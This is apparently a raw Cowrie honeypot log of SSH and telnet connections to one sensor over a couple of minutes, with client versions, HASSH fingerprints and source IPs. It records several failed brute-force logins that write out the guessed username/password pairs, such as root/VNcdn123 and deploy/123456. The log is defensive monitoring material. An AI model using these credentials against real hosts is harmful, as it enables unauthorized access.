{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:59.964528Z","src_ip":"213.209.159.158","session":"52b973c5052d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62922,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e4209aa0eff","protocol":"ssh","message":"New connection: 213.209.159.158:62922 (159.203.135.109:22) [session: 2e4209aa0eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:00.073137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:02.135089Z","src_ip":"213.209.159.158","session":"2e4209aa0eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:02.140061Z","src_ip":"213.209.159.158","session":"2e4209aa0eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58710,"dst_ip":"159.203.135.109","dst_port":22,"session":"dacc9fbd9c15","protocol":"ssh","message":"New connection: 159.203.92.129:58710 (159.203.135.109:22) [session: dacc9fbd9c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:04.011056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:04.284567Z","src_ip":"159.203.92.129","session":"dacc9fbd9c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:04.404175Z","src_ip":"159.203.92.129","session":"dacc9fbd9c15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"passw0rd","message":"login attempt [ansible/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:05.246762Z","src_ip":"159.203.92.129","session":"dacc9fbd9c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:06.344420Z","src_ip":"159.203.92.129","session":"dacc9fbd9c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.773244619369507,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:08.479585Z","src_ip":"36.26.96.225","session":"c89df8e9bc99","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VNcdn123","message":"login attempt [root/VNcdn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:11.554280Z","src_ip":"213.209.159.158","session":"2e4209aa0eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:14.755825Z","src_ip":"213.209.159.158","session":"2e4209aa0eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63186,"dst_ip":"159.203.135.109","dst_port":22,"session":"631ae5a5b158","protocol":"ssh","message":"New connection: 213.209.159.158:63186 (159.203.135.109:22) [session: 631ae5a5b158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:14.857722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:17.323777Z","src_ip":"213.209.159.158","session":"631ae5a5b158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:17.327941Z","src_ip":"213.209.159.158","session":"631ae5a5b158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":53902,"dst_ip":"159.203.135.109","dst_port":22,"session":"e74fad7147e4","protocol":"ssh","message":"New connection: 156.227.233.77:53902 (159.203.135.109:22) [session: e74fad7147e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:22.168885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:22.173436Z","src_ip":"156.227.233.77","session":"e74fad7147e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:22.335156Z","src_ip":"156.227.233.77","session":"e74fad7147e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:23.007614Z","src_ip":"156.227.233.77","session":"e74fad7147e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:24.172858Z","src_ip":"156.227.233.77","session":"e74fad7147e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"volcan","message":"login attempt [root/volcan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:26.363166Z","src_ip":"213.209.159.158","session":"631ae5a5b158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:29.946522Z","src_ip":"213.209.159.158","session":"631ae5a5b158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27218,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac302d9e86a","protocol":"ssh","message":"New connection: 213.209.159.158:27218 (159.203.135.109:22) [session: bac302d9e86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:30.080118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:32.239184Z","src_ip":"213.209.159.158","session":"bac302d9e86a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:32.243018Z","src_ip":"213.209.159.158","session":"bac302d9e86a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vncdn","message":"login attempt [root/Vncdn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:41.149132Z","src_ip":"213.209.159.158","session":"bac302d9e86a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:44.650554Z","src_ip":"213.209.159.158","session":"bac302d9e86a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42256,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd6e584c6347","protocol":"ssh","message":"New connection: 159.203.92.129:42256 (159.203.135.109:22) [session: bd6e584c6347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:49.198476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:49.203163Z","src_ip":"159.203.92.129","session":"bd6e584c6347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:49.208126Z","src_ip":"159.203.92.129","session":"bd6e584c6347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"passw0rd!","message":"login attempt [ansible/passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:49.220251Z","src_ip":"159.203.92.129","session":"bd6e584c6347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:50.226235Z","src_ip":"159.203.92.129","session":"bd6e584c6347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":52564,"dst_ip":"159.203.135.109","dst_port":22,"session":"23bcde31bc4e","protocol":"ssh","message":"New connection: 43.159.177.40:52564 (159.203.135.109:22) [session: 23bcde31bc4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:51.960460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:51.966597Z","src_ip":"43.159.177.40","session":"23bcde31bc4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:52.043457Z","src_ip":"43.159.177.40","session":"23bcde31bc4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe@123","message":"login attempt [user/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:52.360925Z","src_ip":"43.159.177.40","session":"23bcde31bc4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:45:53.441733Z","src_ip":"43.159.177.40","session":"23bcde31bc4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":57254,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd52f9cd25ef","protocol":"telnet","message":"New connection: 62.171.135.55:57254 (159.203.135.109:23) [session: fd52f9cd25ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:15.910238Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":55254,"dst_ip":"159.203.135.109","dst_port":22,"session":"14b971975405","protocol":"ssh","message":"New connection: 156.227.233.77:55254 (159.203.135.109:22) [session: 14b971975405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:20.301965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:20.306444Z","src_ip":"156.227.233.77","session":"14b971975405","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:20.466681Z","src_ip":"156.227.233.77","session":"14b971975405","protocol":"ssh"}
